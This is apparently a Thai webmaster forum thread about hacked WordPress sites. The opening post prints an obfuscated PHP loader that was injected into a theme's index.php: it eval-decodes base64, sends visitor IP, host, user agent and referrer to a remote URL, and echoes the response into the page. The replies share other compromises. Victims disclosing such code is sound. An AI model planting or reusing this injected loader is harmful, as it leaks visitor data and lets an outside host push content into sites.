พอดีไม่ได้เก็บไฟล์ไว้

มัน Encode base 64 ไว้หน้า Theme index.php พอดีเว็บ Error  ที่ไฟล์ Index.php เข้าไปดูเจอ แนบ Code ไว้ทั้งหน้า index เลย ดีที่ backup ไว้่แล้ว

แต่ไม่ได้เก็บไฟล์ตัวอย่างมาให้เพื่อน ๆ ช่วยดู ช่วยตาม น่าเสียดาย ผมมั่นใจว่ามันเข้าทาง FTP อย่างแน่นอน น่ากัวจริงพวกนี้ อย่างว่าแหละเว็บผมเรื่มดังมันก็ต้องมีคนปองร้ายอยู่   สม่ำเสมอ สงสารผมเถอะ เว็บเปิดมาไม่ได้มีรายได้อะไรหรอก ตอนนี้ก็ตกงาน หวังงานจากเว็บบ้าง นาน ๆ ครั้ง ถ้า SEO ไปขวาง ส้ น ต รี น ใครก็บอกครับ ขอกันดีดีก็ได้จะติดหน้าแรกให้เลย  

ลบข้อความ

<?php if (!isset($_GET['fullscreen'])) :  // check wether on frame view mode or not                                                                                                                                                                                                                                                                                                             ?><?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>
<?php
global $options;
foreach ($options as $value) {
    if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_settings( $value['id'] ); }
}
$dateformat = get_option('date_format');
$timeformat = get_option('time_format');
                                                                                                                                                                                                                                                                                                            ?><?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>

<?php get_header();                                     

ถ้าเขาแทรกแค่หน้า index.php ยังโชคดีนะครับ

เขายังเตือนบอกเราว่าเว็บเริ่มไม่ปลอดภัย มีช่องโหว่

ดีแค่ไหนที่มันไม่ลบทั้งเว็บครับ



ของผมแย่ไปกว่านั้น ดูเว็บให้ลูกค้า  DB โดน hacked user ADMIN ไป 3 วันเต็มๆ มองภายนอกปกติมาก ใครไม่ใช่ ADMIN ไม่รู้หรอก

โดนลูกค้าด่าไปหลายวัน เพราะไม่เข้าใจ ดีแค่ไหนแล้วที่มันไม่ลบ DB ทิ้ง  

มองในแง่ดีไว้จะได้ไม่เครียด  

ตอนฝึกงานผมเคยโดยครับคล้ายๆแบบนี้เลย มันไปแปะ Code ไว้ที่ไฟล์ index.php ทุกไฟล์เลย 

น่ากลัวมากๆเลยครับ สมัยนี้ทำมาหากินลำบากยังต้องมาระวังตัวอีก 

 

กำ   พวกเก่งแล้วชั่วนี่น่ากลัวจิงๆๆ

กำ เมื่อเช้าก็ ทรูมันนี่โฮต
ตกดึกก็เว็บ

ทำไมโดนกันบ่อยจัง

ช่วยกันเป็นหูเป็นตาครับ

 :wanwan010:เรามาร่วมกันประนามเลยค่ะ

ผมเข้าไปดูตาม ลิงค์ ทำไม NOD ขึ้น มาฟ้อง 100 กว่าตัวเลยอะ

อยากให้มีห้องนึงแยกสำหรับเรื่อง Security กับพวกหลอกลวง โดยเฉพาะนะครับ รู้สึกโดนกันบ่อยเหลือเกิน  

ของผมเจอไวรัสไอเฟรม-*-

http://valvedota2.com/
โดนมาสดๆ เพิ่งมาเปิดดู GG

ช่วยแนะนำด้วยคะ เว็บโดนแฮกที่เดียวเลยอ่ะ แก้ยังไงดีอ่ะคะ มีไวรัสด้วยอ่ะ

เครื่องเราโดนไวรัสหรือเปล่า


ลักษณะ และ อาการ น่าจะใช่นะครับ ผมเป็นบ่อย ฮ่าๆๆๆ

อาการคือ .. เดี๋ยวมันจะลามเข้า ftp ที่เราใช้งานอยู่ (กรณีเราconnect ftpในคอมที่คาดว่าจะมีไวรัส) ..

พวกนี้ยังไม่เท่าไหร่

มันไปแก้ robots.txt

บล๊อคบอทหมดเลย

ก็ว่าทำไม index มันไม่เพิ่มสักที แถมหดลงทีละนิดอีก - -

แถมหาต้นตอลำบากอีกต่างหาก

ผมก็พึ่งแก้เสร็จ

ของผมก็โดน ไวรัสยกโฮสเลย แมร่งเจาะมา เข้าทุกเว็บ  ที่มี

แก้เกือบหมดละ